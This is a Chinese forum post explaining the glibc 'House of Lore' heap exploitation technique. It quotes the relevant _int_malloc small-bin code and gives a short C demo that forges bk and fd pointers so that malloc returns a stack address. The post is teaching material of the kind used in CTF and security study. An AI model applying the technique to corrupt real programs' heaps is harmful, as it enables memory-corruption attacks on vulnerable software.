回炉重修之house of lore
sn0w 发表于 广东 二进制安全 605浏览 · 2024-06-24 00:54

使用版本以及影响

2.23-2.31(不包含2.31)

libc-2.23

libc-2.27

if (__glibc_unlikely (bck->fd != victim))

检查 fakechunk->FD 是不是 victim_chunk

libc-2.31(House Of Lore 被ban)

原理解析

house of lore是通过small bin机制,去进行任意地址的chunk 分配

利用条件

  • House of Lore 利用的前提是需要控制 Small Bin Chunk 的bk指针,并且控制指定位置 chunk 的fd指针

源码解析

在_int_malloc libc2.23版本的3405的位置

if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          if (victim == 0) /* initialization check */
            malloc_consolidate (av);
          else
            {
              bck = victim->bk;
    if (__glibc_unlikely (bck->fd != victim))
                {
                  errstr = "malloc(): smallbin double linked list corrupted";
                  goto errout;
                }
              set_inuse_bit_at_offset (victim, nb);
              bin->bk = bck;
              bck->fd = bin;

              if (av != &main_arena)
                victim->size |= NON_MAIN_ARENA;
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }
    }

第一块碎片

if ((victim = last (bin)) != bin)
    {
      if (victim == 0) /* initialization check */
        malloc_consolidate (av);
      else
        {
          bck = victim->bk;

如果victim不是small bin的最后一个也就是未满的情况

bck=victim->bk 此时bk被我们伪造为target addr 所以bck=target addr

第二块碎片

set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;
          bck->fd = bin;

bin->bk=bck,这就相当于把target addr 链入small bin的开头,接下来我们就可以通过malloc把这取出来

第三块碎片

要执行这一步要经过这个check

if (__glibc_unlikely (bck->fd != victim))
            {
              errstr = "malloc(): smallbin double linked list corrupted";
              goto errout;
            }

也就是bck->fd=victim 也就是说 target_addr+0x10 的位置要等于victim的地址

接下来通过demo演示(实验环境2.23)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>


int main(int argc, char * argv[]){
    intptr_t* stack_buffer_1[4] = {0};
    intptr_t* stack_buffer_2[4] = {0};
    intptr_t *victim = malloc(0x100);
    malloc(0x10);
    free(victim);
    malloc(0x400);
    victim[1] = &stack_buffer_1; // victim_chunk_addr->bk = stack_buffer_1_addr
    stack_buffer_1[2] = victim-2; //stack_buffer_1->fd = victim_chunk_addr
//===============================line=================================
    intptr_t *p1 = malloc(0x100);
    intptr_t *p2 = malloc(0x100);//chunk on the stack
    malloc(0x100); //failed : bck->fd != victim
}

堆块布局:

intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[4] = {0};
intptr_t *victim = malloc(0x100);
malloc(0x10);
free(victim);
malloc(0x400);

此时的malloc(0x400)是为了将unsorted bin 变为small bin

布置攻击条件

victim[1] = &stack_buffer_1; // victim_chunk_addr->bk = stack_buffer_1_addr
stack_buffer_1[2] = victim-2; //stack_buffer_1->fd = victim_chunk_addr

攻击效果

接下来在申请一次就可以再目标地址布置堆

2.27源码更改

if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          bck = victim->bk;
      if (__glibc_unlikely (bck->fd != victim))
        malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;
          bck->fd = bin;

          if (av != &main_arena)
        set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
      /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
      size_t tc_idx = csize2tidx (nb);
      if (tcache && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks over.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
             && (tc_victim = last (bin)) != bin)
        {
          if (tc_victim != 0)
            {
              bck = tc_victim->bk;
              set_inuse_bit_at_offset (tc_victim, nb);
              if (av != &main_arena)
            set_non_main_arena (tc_victim);
              bin->bk = bck;
              bck->fd = bin;

              tcache_put (tc_victim, tc_idx);
                }
        }
        }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

要么使其满足 tc_victim = last (bin)) == bin、要么使其满足:tcache->counts[tc_idx] ≥ mp_.tcache_count。否则可能会因为非法内存访问使得程序 down 掉。

高版本的情况2.31之后利用条件比较苛刻,有这利用条件 早就别的路去打io了

参考文献

https://roderickchan.github.io/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/

House of lore - TTY的博客 (tty-flag.github.io)

House Of Lore-原理 | Pwn进你的心 (ywhkkx.github.io)

0 条评论
某人
表情
可输入 255